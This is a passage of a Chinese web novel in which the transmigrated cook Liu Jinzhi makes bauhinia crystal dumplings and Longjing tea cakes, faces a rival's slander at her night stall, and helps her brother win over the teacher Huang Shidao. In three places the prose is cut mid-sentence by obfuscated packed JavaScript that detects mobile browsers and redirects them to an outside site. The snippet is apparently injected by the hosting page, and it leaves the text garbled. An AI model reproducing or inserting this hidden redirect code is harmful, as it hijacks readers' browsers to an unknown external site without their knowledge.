“月牙小妹，杜卫小兄弟，若是不够吃，便拿我这份儿吧。” 三人皆是一怔。 潘琅寰理所当然道：“论起来，我比你们都年长，多照顾些也是应当的。” 这菜都进碗里了，总不好再三推让，不然显得小家子气。 柳金枝就接受了，笑眯眯地道谢：“潘相公当真大方，我代这两个小的谢过你了。” 潘琅寰摆摆手：“不必谢。” 毕竟他可是有自己的打算的。 就故作遗憾地说：“只是娘子这手艺当真妙极，现下吃不到颇为可惜，不如……” 他正图穷匕见，要说“不如下次去柳家叨扰，再讨一盘香椿炒鸡蛋吃”，身边却不知何时蹭过来一个毛茸茸的脑袋。 原来因见柳金枝一家其乐融融，潘安玉十分为羡慕，他看着自己碗里头抢到的一大块香椿炒鸡蛋，又看看碗里干干净净，可又表露出自己十分想吃的潘琅寰。 “咳咳……哥……” 潘安玉高高兴兴凑过去，献宝似地把碗端起来。 “你要吃我的香椿吗？我有多的呀，就不用麻烦柳姐姐了。” 潘琅寰：…… 桌面上项志轩和应天爵两相对视，不由憋笑，连忙往碗里多夹了点菜，埋头苦吃当自己不存在。 潘安玉还想着把菜献给潘琅寰之后能有一场兄友弟恭呢，却没想到脖子后面一寒，抬头就看见自家哥哥的眼神凶的好像要吃人。 不、不是。 潘安玉欲哭无泪。 这个发展怎么和柳姐姐一家不一样啊？！ “柳娘子！真的是你们啊？” 这时，耳边忽然传来一道兴奋的高喊。 一行人扭头看过去。 只见一个小童站在溪水边对着柳金枝高兴招手，小童身后站着一名眉眼温柔俊逸的年轻郎君，一身清贵儒雅，似是出身名门大户。 除却柳金枝和应天爵，月牙、杜卫还有潘琅寰几个都没有见过傅霁景。 因此他们反应慢了一拍，还在疑惑当中时，应天爵已经两三步跑上去，十分殷勤地插手一拜：“哎呀，原来是傅二郎君！真是巧啊，在此处遇见你。” 傅霁景对应天爵点点头，微微一笑，随后就顺着横亘在溪流上的风雨桥走过来，目光扫过在场众人，礼貌又客气地打了招呼，最后落在了柳金枝的身上。 “柳娘子。”傅霁景唇边弧度加深，眉眼带笑，“好巧啊，你也来踏青。” 潘琅寰蹙起眉头，抬起眼眸上下打量傅霁景，似是在脑子回忆傅霁景的身份。 “是呀，难得有些闲暇。” 柳金枝惦记着为柳霄请名师的事情，不由得走近傅霁景几步。 “我已看了日子，明日是黄道吉日，宜求师问道，我打算明日领着阿弟先去黄师道老师家中拜访。” “哦？怎么选了黄老师？” 傅霁景眉心微微一蹙。 “怎么了？可是有哪里不妥？”柳金枝问道。 “这位黄老师学问、人品都都全无挑剔，有时他的奇思妙想连我父亲都钦佩不已。只是……” 傅霁景犹豫片刻，居然说了句：“只是其性格颇为怪诞，常叫人捉摸不透。” 柳金枝知道傅霁景是君子道，轻易不在人背后议论长短。 现下说起这位黄师道老师，居然能用“性格怪诞”来评价，可见这位老师的性格不是一般人受得住的。 但柳金枝这些，人选是柳霄在思考过后定下的。 那夜柳霄道：“这位黄师道老师在算经一科极为出名，几乎天下所有学习算经科的学子都想要拜他为师。” “论记性，我比不上月牙。论苦读，我又差了同辈许多。我只在算经一科还算有些天赋，若专心考算经科，说不定还有些胜算。” 柳霄既然这样说，柳金枝也就支持。 如今虽然傅霁景说黄师道性格怪诞，柳金枝思虑再三，郑重道：“多谢恩人提醒，我今晚回去与阿弟再商量商量。” 傅霁景点点头，想了想，又温和道：“听说黄老师爱吃天仙楼的糕点，不如投其所好试试看。” 天仙楼的糕点又贵又难抢。 往日里若要买到一份，都得晡食之前就起来排队，午时左右就卖得差不多了。 柳金枝抬头一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568983|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时辰，发现已经快近午时了，当下也顾不得了，连忙向应天爵、项志轩和潘家兄弟道别，就带着月牙和杜卫急匆匆地赶回了汴京城。 只是这一次踏青，本就是应天爵为柳金枝攒的局。 中心人都走了，剩下的人自然也没什么好待的。 应天爵倒是不急着走，他还想和傅霁景多套套近乎呢。 也就凑上前，笑道：“二郎，这大好春光如果不好好游玩一番岂不浪费？不如我到西州瓦子里置办一桌酒席，再请几位文人墨客作陪，大家说说笑笑耍一回，多自在？” 傅霁景温和拒绝：“多谢你的好意，但我还有一些事情没处理，就不多陪了。” 应天爵一愣，还想问是什么事儿呢，却见傅霁景带着杏安追着柳金枝的驴车走了。 应天爵嘶了一声，恍然大悟道：“我当是怎么回事儿呢，原来全是为了男婚女嫁。” 傅府与潘家。 这两个都是高门大户，应天爵也知晓潘家没有表面上那么简单。 那这两个人最后谁能抱得美人归，可真说不准。 应天爵啧啧地摇头笑，自言自语道：“早知道这样，我费这功夫讨好他俩干嘛呀，我不如和我妹子处关系去。” 嘿，真聪明！ * 柳金枝带着杜卫、月牙紧赶慢赶，但到天仙楼时还是慢了一步，糕点已经全部售罄了。 柳金枝遗憾扼腕。 月牙被杜卫抱着，盯着天仙楼门口挂着的“售罄”牌子看了一会儿，道： “阿姐，咱们买不到天仙楼的糕点，你可以自己做吗？我觉得阿姐的手艺不比天仙楼的差。” 柳金枝想了一会儿，道：“还是慎重点好，杜卫，你帮我去打听打听，看谁家有买了多了糕点的，愿意把糕点转卖给我，我愿意出高价。” 杜卫点点头，放下月牙走了。 柳金枝对月牙道：“走吧，咱们先回家等候消息。” 然而最后杜卫带回来的消息还是叫柳金枝失望，天仙楼的糕点供不应求，但凡是买了糕点的，都不愿意让出来，看来最后还得是柳金枝自己来做才行。 但因为怕做出来的糕点不合黄师道的口味。 柳金枝想了许久，才道：“杜卫，我想再劳烦你去一趟我们方才踏青的地方，替我采摘一些香椿回来。” “啊？东家还想做香椿炒鸡蛋吗？”杜卫问。 柳金枝摇摇头，道：“你采来就好了。” 杜卫就不再多问，赶忙去了。 柳金枝与月牙则默契地没有去打扰柳霄温习，而是一齐走到膳房，月牙帮柳金枝生火，柳金枝穿上攀膊，姐妹二人一块儿为给柳霄博一个好印象而努力。 33. 紫荆花水晶饺 杜卫将香椿采摘回来之后，柳金枝按照之前的做法，但只拿出一半放在盐水中进行搓洗，捞干后放在一边备用。 又叫月牙从橱柜里抱出一袋颇为精细的面粉，量出几勺倒入盆里。 “阿姐，你要揉面吗？我替你加水。”月牙道。 “暂且不用。”柳金枝制止了月牙，指指隔壁钱婶子院子里一株盛大的紫荆花树，“月牙，去帮我找隔壁钱婶子要些紫荆花来吧。” “阿姐要做什么？” “给面染色。” 柳金枝要做两道糕点，第一道就是紫荆花水晶饺。 这道点心如其名，外形、颜色都酷似一株盛放的紫荆花。 但是面粉一般都是白色，如果要做到这种效果，就只能利用其他植物的颜色对面团进行染色。 如果是在现代，柳金枝大可以用紫甘蓝来染，颜色会更漂亮。 但是在宋朝的时间线里，紫甘蓝、胡萝卜等等都还没有出现，没办法，柳金枝只好将目光放在了三四月份就会盛开的紫荆花树上。 好在紫荆花除却种子有微量毒素以外，其余的部位都能吃，不用担心食用问题。 不然送了糕点去拜师，反倒把老师毒翻了，这反倒是结仇。 隔壁钱婶子很大方，给月牙摘了一大篮子的紫荆花。 柳金枝还是留下一半，然后将紫荆花洗干净，用刀切成块，和清水一起加入锅中，小火煮出紫色。 但如果要让这种颜色在面团里上色更均匀、好看，就得有酸来配合。 食品中的酸，最常见的自然是柠檬。 是的，宋朝有柠檬。 甚至再将时间线拉得久远一些，在东汉时期就出现了柠檬。 当时东汉时期有个文人叫杨孚，他写了一本《南裔异物志》，书中称柠檬为“枸橼”，也不知道时不时这个名字太难听，无法体现出柠檬香酸甜涩的味道，所以在唐宋以后，柠檬又被换了名字，叫作“香橼”。 如今宋朝的集市上随处可见。 上回柳金枝去采购的时候，把能用上的都买了一遍，香橼就在其中。 于是她打开橱窗，从中摸出来两颗香橼，利落地削去橙黄坚硬的外皮，把果肉扔进石臼里，再用石杵用力地去捣它，将香橼的果肉全部捣烂，一时间酸甜味道的汁水四溅，闻得月牙都忍不住舔了舔嘴唇。 最后她把捣烂的果肉拿出来扔掉，石臼里留下的全是橙黄的汁水。 这时，正好煮紫荆花的锅已经沸腾起来，柳金枝用圆头铁勺舀出来紫色汁水，将之盛放在一只白瓷碗里，随后倒入适量的香橼汁，搅拌均匀。 在酸碱作用下，紫荆花的紫色很快变成了玫红色。 柳金枝继续把这玫红色的汁水回锅继续煮沸。 月牙在一边看着这变化，惊讶的嘴巴都张开了，好半晌才说：“阿姐你真厉害，你怎么知道这两样东西加在一起能变色啊？” 柳金枝总不好说自己是穿越人士，就笑着借用每一位穿越大佬都会用的敷衍理由—— “阿姐是在一本古籍上看见的。” 月牙深信不疑，满眼崇拜：“天呐，阿姐好厉害，我长大以后也要像阿姐一样厉害。” 柳金枝笑了一下，让月牙往面粉盆里加入清水。 现在就可以揉面团了。 清水进入面粉盆，很快就将干燥的粉变成糊糊状，柳金枝再往里面加入淀粉，搅拌均匀，最后将煮沸的玫红色汁水倒入面粉糊糊当中，用筷子搅拌成絮状。 因为是滚水浇入面粉当中，导致面粉过于烫手，要一直晾到温凉的时候，才能上手把面盆里的面粉揉成光滑面团。 而揉出来的面团已经变了颜色，不再是白色，而是一种介于玫红与紫甘蓝色之间的淡紫色，看起来与紫荆花的颜色极为相似。 柳金枝小心将揉好的面团放入盆中，盖上湿布等面性发好，自己则是着手去准备馅料。 还是在锅中烧水，水沸腾时加入新鲜香椿，等香椿由红变绿时起锅过凉水，控干水分，切碎备用。 再摸出来几颗鸡蛋，炒锅热油，单手将鸡蛋打进热锅内，快速炒成蛋碎。 将香椿碎与蛋碎混合，加入芝麻油、盐等调味料搅拌均匀，馅料就大功告成了。 忙活完这一场，其实也不过两刻钟的时间，而面已经发好了。 毕竟现在已经开春，不是冬日时分了，发面要比以前快很多。 于是柳金枝将面团揪拽下成十二等份，用擀面杖将这些面团擀成轻薄小巧的外皮，包入适量的馅料，捏成五角形。 再用拇指和食指在每个瓣上推出褶皱，两瓣相连捏成花型，用切碎的红色菠菜根装点花心，将之放置在浸入冷水的蒸锅之中蒸上一刻钟的时间。 最后揭盖出炉，热气氤氲之下，远远看去，花瓣状的晶莹饺子外皮，在蒸制后呈现晶莹的淡紫色。 面皮经手工捏制成五瓣，边缘褶皱如丝绸般柔滑的波浪，蒸熟后薄如蝉翼，透光可见内里饱满的蛋块，和细碎香椿。 中心的红色菜心点缀的恰到好处，整体看起来当真如同晨曦中初绽的紫荆花瓣，漂亮又夺目。 杜卫和月牙都讶异不已。 柳金枝把紫荆花水晶饺朝他们推了推，道：“你们试试，如果觉得好吃的话，明日我再照旧做一份新鲜的送到黄老师家去。” 月牙与杜卫闻言连忙下筷。 他们怎么会不相信柳金枝的手艺？ 这一口饺子下去，真是险些将舌头都吞掉了。 这饺子的馅料既有香椿的清香脆爽，又有鸡蛋的醇厚回味，咬破饺皮时，饺子里的汁水泄露出来，爽口不已。 柳金枝见他们吃的高兴，就找出来一碟酱推过去。 “来，蘸着酱试试。” 这蘸料是蒜蓉酱油，颇为辛辣，与紫荆花水晶饺一起吃，更显得水晶饺柔韧弹牙，叫人越嚼越上瘾。 杜卫还尚存理智，知道柳金枝做的不多，只有十二只，自己吃了四只之后，就将剩下的都让给了月牙。 “太好吃了阿姐。”月牙吃的两腮鼓鼓的，像一只拼命塞食物的小仓鼠，“别说是老师会喜欢，阿姐你要是能把这糕点拿去食摊卖，一定不比天仙楼的糕点差！” 月牙的这话也提醒了一下柳金枝。 柳金枝摸着下巴道：“你说的有道理，我也在想做夜市只卖面食和卤肉会不会太单调，如果食客们吃腻了，也可以来些点心开开胃。” 杜卫也鼓励柳金枝：“要不今天就做一些吧，晚上咱们拿去卖。如果卖的好，之后再做做一点。” “好。”柳金枝点头。 杜卫自告奋勇地说：“那我再去摘些香椿。” 月牙连忙把嘴里的水晶饺吞下去，也急急地往外跑：“我再去摘些紫荆花。” 看着两个人都积极到不行的样子，柳金枝心里也多了一点信心。 希望这个点心黄老师也会喜欢吧。 依样画葫芦做了三四十个水晶饺后，天色也不早了，一家人包括柳霄全都出摊去了夜市。 柳金枝做的卤味是卖的最火爆的，才把摊子支起来，就有吃惯了她家卤味的食客来排队了。 杜卫一面利落切好卤味打包递过去，一面推荐柳金枝新做的紫荆花水晶饺。 “这是我们家最新做的点心，您可以买两个回家尝尝，保管好吃！” “这个颜色是我们东家新想出来的，我们都尝过，绝对没问题。” “是啊，限量，咱们第一次卖，所以做的不多。” “您要来一份？好嘞，给您装好，收您二十文，您走好！” 尔后一些食客也在杜卫的极力推荐下买了不少水晶饺走了，三四十个水晶饺瞬间见底，只剩下最后一份儿。 柳金枝在一边煮蝌蚪粉，听见杜卫嘴皮子这么利落，心里也很欣慰。 柳霄把客人们吃过的盘子收起来，走到柳金枝身边问：“阿姐，那是你新做的点心？看样子卖的很好。” “是啊，想着明天送你未来老师一份儿，看能不能让人家心软一些，收了你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568984|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳金枝笑道。 柳霄不想柳金枝有这么大的压力，就笑道：“不收也没事儿，我最近温习的时候觉得自己还行。” “你呀，又哄阿姐高兴。” 柳金枝捏了捏柳霄的脸。 姐弟二人正笑着，却有一道似是厌恶又似是嫉妒的刺耳声音响了起来。 “柳金枝，原来是你在这儿摆食摊。” 柳金枝抬头看过去，一张熟悉的脸跃入眼帘。 正是柳金枝在秦淮时伺候的那位三娘子—— 孙玉香。 “阿姐？” 柳霄眼神瞬间警惕起来，要挡在柳金枝面前，却被柳金枝一拉。 “孙娘子，我还以为您会一直待在秦淮呢，没想到回了汴京。”柳金枝皮笑肉不笑。 对于这个三娘子，她真的没多的话说，看见都嫌烦。 孙玉香冷笑道：“柳金枝，你不守妇道，勾引主家，自愿当婊//子，如今见了我，更是毫无改过之意，真是天生的小娼//妇。” 柳金枝的摊子本就是生意火爆，周边挤了很多人。 有的是喜欢柳金枝的手艺，有的则是奔着柳金枝这张清丽的脸来的。 而孙玉香的话一出，众皆哗然。 什么？ 柳金枝居然勾引主家？ 相柳金枝柳金枝人品的自然知道她不会做这种事，但嫉妒柳金枝赚银子的却冷笑道： “我说呢，她一个未出阁的娘子，怎得就抛头露面在外头卖小食，原来干得就是这个营生。” “当真是不要脸。” “也不知道她借着卖小食的名义，勾搭了多少男人去。” …… 难听的话一句接着一句钻入耳朵里。 气得杜卫冲出摊位，指着孙玉香破口大骂。 “哪儿来的贼歪刺骨口舌这般不干净？敢说我东家勾引主家，证据呢？” 孙玉香气得面色扭曲，恨恨道：“阖府上下都知道，还谈什么证据？” “哦，也就是说你这是没有证据了？像你这般悍妒妇人，怕不是只要丈夫多瞧别人一眼，就是别人蓄意勾引。现在你站在我的面前，我看了你这样久，是不是你也是要蓄意勾引我啊？！” “放肆！”孙玉香身边的丫头直接上前打了杜卫一巴掌，怒道：“你可知我家娘子是何等身份？” 杜卫挨了一巴掌，可算把柳家所有人都惹生气了。 月牙猛地上前推了一把丫头，大叫道：“我管你是什么身份？你打人就是不对！” 丫头面露轻蔑不屑：“我家娘子乃是御史中丞孙家的女儿，姑爷乃是工部侍郎的三郎君。你敢大放厥词，便是不敬，我家娘子能把你们全家治入狱中，打上十大板！” 柳霄脸色阴沉，却无可反驳。 他尚未取得功名，还是白身，根本没办法对抗。 柳金枝却不知想到了什么，站出两步道：“孙娘子从秦淮搬到汴京，想必是为了三郎君应试的事情吧？我虽对科举并不了解，但也清楚官家选拔人才，并非看重才华，品德亦在考察之中。” “孙娘子若要与我争吵不已，我是清者自清，不介意让整个汴京城的人都知道三郎君急功、好色、惧内，整日在后宅和孙娘子为了能否纳一房小妾之事争吵不休。” 原主在孙玉香身边干了这么久，对孙玉香和候三郎的起居日常自然十分清楚。 想要什么猛料都能爆出来。 其中还不乏孙玉香欲求不满，在外面求仙问道，整了一堆虎狼之药回来给候三郎吃，结果把人吃得拉肚子，一天到晚跑了五趟茅房，险些拉虚脱的腌臜事。 只要孙玉香这种高门大户不怕丢脸，她这般市井小民自然也不会强撑着面子。 果然，孙玉香脸色一变。 都怪她一见着柳金枝还在这里完好无损地卖小食，就气得失去了理智。 恶狠狠道：“柳金枝，你不要以为事情就这么过去了，咱们走着瞧！你在这汴京城好过不了！” 继而甩袖离去。 34. 龙井茶糕 孙玉香这样闹了一通，食客们都没有什么心情吃东西了，都在窃窃私语讨论八卦。 毕竟从古至今，热爱八卦是人类的天性。 柳霄不愿意柳金枝在这里被人议论，提出收摊，几人第一次提早回了家。 “来，杜卫，拿个鸡蛋揉揉脸。”柳金枝烫了个鸡蛋抱进纱布里，递给杜卫滚脸，“这回是我连累你了。” “东家，别说这种话，你把我当弟弟，我自然也将你当作阿姐一样尊敬。”杜卫皱着眉，“你是什么样的人我们还不清楚吗？那个婆娘就是在泼你脏水，我们谁都忍不了。” 柳霄沉默了许久，眼神充满自责。 “归根结底还是我太没用，要是我有半点功名在身，就不怕她的威胁了。” “霄哥儿，你不要把一切不好都往自己身上揽，非要议论的话，也是我的错，我也没想到孙玉香会回汴京。” 柳金枝道。 “阿姐，那个人和你到底有什么过节啊？” 月牙问。 柳金枝也就将自己在秦淮候府的时候发生的事情说了一遍，听得在场几个人都气得脸发黑。 “好了，你们也别为孙玉香生气，不值得，当下重要的是别影响霄哥儿拜师。”柳金枝把柳霄拉过来，“今天好不容易早收摊一次，你就别在这儿待着了，回房温书吧。” 柳霄咬着牙，眼眸沉沉道：“我定不负阿姐期望。” 柳金枝又安慰了杜卫和月牙，让他们也去休息。 虽然柳家宅院勉强安静下来，但所有人心里都压了一块石头，当晚没人能够安眠。 第二天一早，柳金枝就醒了。 她难得坐在床上发了一会儿呆，才小心翼翼地下床，走到了膳房。 虽然她嘴上说让柳霄尽全力就好，结果不重要，但其实她也明白，在这个古代背景，能有一个功名傍身是最好的。 孙玉香陡然出现更是让她意识到这点的重要性。 而她所要做的，就是尽量去帮助柳霄。 吐出一口气，柳金枝将昨天收好的香椿和紫荆花拿出来，照旧做了十二只紫荆花水晶饺。 此处便不再赘述。 该详说的，应是第二道糕点—— 龙井茶糕。 都说一杯清茗致春意。 文人爱茶，宋朝文人更甚，所以这款糕点就与龙井茶有关。 但新鲜的“雨前龙井”过于昂贵，柳金枝自然是买不起，她顶多能买几两旧茶。 好在旧茶也有旧茶的好处，茶性温和、刺激性弱、口感更醇厚、茶香味儿也更浓，揉进糕点里不仅会让糕点变得更香，还能帮忙解腻。 柳金枝将旧龙井茶从茶瓮里取出来，平铺在一只小筛子上，抖一抖，筛一筛，用木夹子尽数铺开，放在窗边有第一缕清晨阳光的地方晒一晒。 这种做法是为了散一散茶叶在麻袋里积攒的霉气。 毕竟以古代的储存技术，就算存放的再好，茶叶也会有股子霉味儿。 随后，柳金枝取来粘米粉和糯米粉，将两者以三比一的比例倒入盆中，来回抖动，使二者混合均匀，再倒入蒸笼，先上大火蒸三十分钟。 看着灶眼的火光烧得热烈，还得有一会儿才蒸好粉，她就抽出手来，将制作糕点所需要的乳酪、砂糖和油都摆在台面上，又取出一只干净的碗碟，将这三者都混在一起。 乳酪其实就是牛奶，宋代有设立“牛羊司乳酪院”，专门负责乳畜饲养及酥酪制造，为皇室提供乳制品。 往后，这股喜爱乳酪的风尚也传入民间，百姓也开始吃起酥酪，喝起乳酪。 传统乳制品就有蜜浮酥柰花、乳团与乳饼和汴京夜市流行的酥油鲍螺。 甚至还有一种发酵奶块冰镇制品，叫做“冰酪”，大体应该像现代的冰牛奶？ 所以宋朝不愧被称之为吃货天堂。 就这些小食就足够叫人心生向往了。 柳金枝闻了闻乳酪，确保新鲜，就往里加上了糖和油。 这些调味品会让乳酪味道更甜，更鲜美。 但因为糖与油不可能完全融入牛奶里，在等比例均匀之后，还得静置片刻，等无法溶解的一部分沉在底部。 这时候，柳金枝就可以把散好霉气的龙井茶倒入石臼里头，用石杵细细碾碎成粉末。 这就是龙井茶糕的精髓—— 龙井馅儿。 当然，若只单纯用茶粉做馅儿，舌尖会略微发苦。 为了把味道调和到完美。 柳金枝又加入了红豆沙、绿豆沙等等甜味儿馅料。 而灶台那边，大火蒸了三十分钟之后，粘米粉与糯米粉都已经完全混合均匀了，成了一大块白面团似的东西，黏黏糊糊，躺在蒸笼里。 仔细闻，还能闻到一股隐隐的米香。 柳金枝将蒸锅拿下来，倒入一个干净的盆里，再把静置片刻后上下分层的乳酪、白砂糖和油的混合物淋进去，用竹箸用力搅拌，直到均匀。 黏黏糊糊的粉团变得更加乳白好闻，清甜的味道像是一把小钩子，引诱着人食指大动。 这个时候就可以开始做饼了。 宋朝小贩们做饼都有模具，把面粉揉成团塞在模具里，等面团差不多了成型再抠出来。 为了让自己的糕点好看一点，柳金枝买了一些牡丹花的模具。 她把龙井馅儿等量的分开，揉成圆球，然后将一半的米粉倒入模具里，塞进龙井馅料，最后加满米粉，轻轻压实。 最后将模具反扣在针板上轻轻一敲，一块非常漂亮的牡丹花形状的龙井茶糕就做好了。 柳金枝依样画葫芦，也是一连做了12个，然后将它们和紫荆花水晶饺一起放进蒸笼里蒸熟。 这个时候天方亮，院子里传来了开门的声音，是柳霄起来了。 似乎是看见膳房还开着火，柳霄走进来瞧瞧，意料之中的看见了柳金枝，和她满手的粉，满脸的汗。 柳霄眼眶发红，却知道自己说什么也不足够表达感谢。 他只默默走过去，牵起柳金枝的手到水盆前，替她一点点洗去手上的面粉。 “阿姐的手那么漂亮，应该戴很多很多个金镯子、玉镯子。” 柳霄低声说。 “我以后都会一一买给阿姐。” 柳金枝露出一点笑，将热腾腾的糕点捡出来，装成两个食盒，一股脑塞给他。 “好了，什么都别说了，走吧，别耽误了拜师的好时辰。” * 黄师道住的地方较为偏远，两个人坐驴车差不多也要一个时辰才到。 这是一处看起来平平无奇的小巷子，可门口有一株虬枝盘曲的老槐树。枝梢垂吊着簇簇米白色槐花，似繁星缀满枝头，风起时花影婆娑，居然有几分说不出的清雅之意。 柳霄慎重道：“看来这位黄先生性格清高出尘，我们得更加谨慎才是。” “……嗯嗯。” 柳金枝挠了挠下巴，不好意思说自己看见这饱满金黄的槐花，第一时间只想着，这花用来做菜倒是不错。 春天里的槐花正好吃！ 二人前去敲门，有一个小童把门打开。 柳霄还想自报家门，谁知小童对他们来拜师的人早已司空见惯，直接请他们进来，轻车熟路地指着庭院的两个石凳子。 “黄先生正在早睡，你们二人就在这里先等着吧。” 柳霄和柳金枝皆是道谢：“有劳小哥。” 随后坐下来观察庭院。 柳金枝瞧见黄先生的院子其实不大，但用处却不少。 院子的西南角养着一群鸡鸭鹅，笼子和她家的甚至还有些像。 西角又开辟了一块菜地，种了许多春季可见的蔬菜，有荠菜、青蒿、春笋、蕨芽、蒌蒿、韭菜…… 种类多到令人咂舌，还偏偏每类蔬菜都长得郁郁葱葱，一看就知道是主人精心伺候的结果。 再加上院门口那棵又高又大的槐花树。 “黄老师必然是个好吃之人。” 柳金枝笑道。 亏她还以为那槐花真是黄师道种来吟诗作对的呢。 “阿姐何以见得？”柳霄问。 “这院子里的东西无一不和吃有关。”柳金枝狡黠地朝柳霄眨眨眼，“我想我们这回大概率有希望了。” 然而想象是美好的。 柳金枝和柳霄在院子里足足坐了两个时辰，黄师道还没有出门见他们的意思，眼看着艳阳高照就要到正午了。 柳霄皱起眉头，但他还算沉得住气。 只是太阳这样大，晒得他与柳金枝二人都热汗涔涔。 柳霄就站起来将宽大袖子抖开，遮盖在柳金枝的头上充当伞盖。 少年人清瘦的身影坚定站着，像一柄逐渐成长起来，终于能为家人遮风避雨的大伞。 “霄哥儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568985|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你坐下吧，我不热。” 柳金枝看柳霄的额头全是汗，但还撑着帮她遮凉，也心疼。 “阿姐，没事的，你坐好。” 柳霄一动不动。 就这么站了又一刻钟，柳霄的脸都被晒红，热汗大颗大颗滚落，沾湿了胸前衣襟，也没见他挪动过一寸地方，还是把柳金枝护的严严实实。 黄师道从窗户的缝隙看见了这一幕，暗自点了点头，对旁边的童子说：“这孩子的心性倒是不错，让他们进来吧。” 童子点头。 其实柳金枝也知道黄师道不见他们，八成是要考验一番。 所以她也忍着没去拉柳霄。 现在过了考验，她就忙不迭帮柳霄擦汗、扇风，关心问：“霄哥儿，你还好吧？” 柳霄小小声说：“没事，撑得住。” 柳金枝才放心下来，将带来的推荐信交给了黄师道。 待黄师道一五一十看过之后，颇为惊讶，问道：“原来你们是傅家推荐的，怎么方才不直接把这信拿出来？” 柳霄正色道：“虽然有推荐信在手，但我更希望老师是因为我的才能而收下的我。” “好小子，倒是有点骨气。” 黄师道颇为意外，但对柳霄这份心性十分满意。 “我给你一次机会，看见门外那个水缸了没有？” 柳霄扭头朝庭院里看去，发现最角落里有一个巨大的水缸，水面上飘满了浮萍，不知是有多久没用过了。 “看见了。”柳霄点头。 “好，那你用一支毛笔，蘸着水缸里的水写字。什么时候把水缸里的水写完了，我什么时候就收你为徒。” 柳金枝知道这是在考验柳霄的意志力。 但望着越来越毒辣的太阳，她心里还是有点担心。 却不曾想柳霄直接一口答应下来，从童子手里接过一支毛笔和一只碗，走到水缸前从缸里舀水出来写字。 这水缸硕大无比，要想用一只毛笔把水写完，最少也要用一个月。 柳金枝叹了口气，将手中的两个食盒交给黄师道。 “先生，这是我为您做的糕点，算做一点心意，请您试试。” “我只用天仙楼的糕点。”黄师道摇摇头。 但送礼就没有再拿回去的道理。 柳金枝将食盒放下。 “若您不喜欢，可以赏给其他人吃。盒子我暂且放在这里，到了晚上再来取回。” 柳金枝福身一礼，出了门，在大门口时忍不住多看了柳霄一眼。 但少年的后背虽然纤细单薄，但格外坚韧。 他是不会放弃的。 柳金枝收回自己的视线，回了家。 黄师道愿意给柳霄一次机会，只是觉得他为柳金枝遮凉的动作很有心意。 至于柳金枝的糕点，他还真没想着收。 但两只食盒就放在他的旁边，若有若无的香气从盒子的缝隙里飘出来，在他的鼻尖萦绕。 “嘶——” 他抽了抽鼻子，觉得这香气格外清香好闻，比起天仙楼的都不遑多让。 黄师道咂了咂嘴，问：“童子，我让你买的天仙的糕点你买了没有？” 童子道：“近来天仙楼的糕点有很多人排队，又贵又限量，我今天没能买到。先生，其实我瞧这位娘子做的糕点还挺香的，要不您试试？” “再香也好吃不过天仙楼啊。” 虽然嘴上这么说，临近中午的时候他还真是饿了。 也就随意打开一个盒子，取出里面的糕点来吃。 仔细一看，正是一个做的比花还好看的紫色饺子。 “这个做法倒是有趣儿，也不知道味道怎么样。童子，你也试试吧。” 童子点头。 两人一起把饺子往嘴里送去。 这一瞬间也不知道该怎么形容，黄师道只觉得舌头上的味蕾都被打开了，胃袋深处传来了前所未有的饥饿和渴望。 香椿的味道和鸡蛋的味道完全结合在了一起，清香醇厚，好似叫人置身旷野。 更难得的是，饺子的皮也是不薄，不厚，正正好。 嚼在嘴里的时候，只觉得每一道工序都好似恰到好处。 完美，美味。 黄师道一下子就反了悔，不该对柳金枝说自己只吃天仙楼的糕点的。 但懊恼归懊恼，他现在只想再吃一个。 35. 春饼与定胜糕 将紫荆花水晶饺，和龙井茶糕都仔仔细细品味了一遍。 两个食盒，二十四只糕点，很快就被吃的见了底。 黄师道只觉得回味无穷，感叹道：“这个小子的姐姐莫不是开饭馆的？手艺竟然这么好。” 童子也是吃的意犹未尽，忍不住圈道：“不如先生收了他吧，往后说不定还有更多好吃的呢。” “那叫作弊。” 黄师道哼了一声，捋着胡子站起来看了一眼柳霄。 他们在屋子里讲了这么长时间的话，外头没一个人看着，柳霄却从没想弄虚作假，更没想过用碗在缸里舀水的时候，不经意间多撒一点出去。 以至于写了大半日，那缸子里的水跟没有变化一样。 倒是柳霄的身前大大小小留下了许多水痕。 再仔细一看那字，写的龙飞凤舞，金戈铁马，确实不错。 黄师道满意地点点头，又很高兴：“这小子不用靠作弊，我瞧以他的心性，迟早也会过了我这关的。” 柳霄从早写到晚，等到最后一笔落下时看了看时辰，他主动将碗里没有写完的水重新倒回缸子里，然后站起来对着屋门叉手一拜，这才转身离开。 于是从这天开始，柳金枝每天都做一些好吃的送柳霄来黄师道这里写字。 好在春天的时候太阳颇大，写出来的字很快就干的蒸发了，不算特别耽误进度。 足足一月的时间过去了。 春闱已过，柳霄才将缸里的水全部写完。 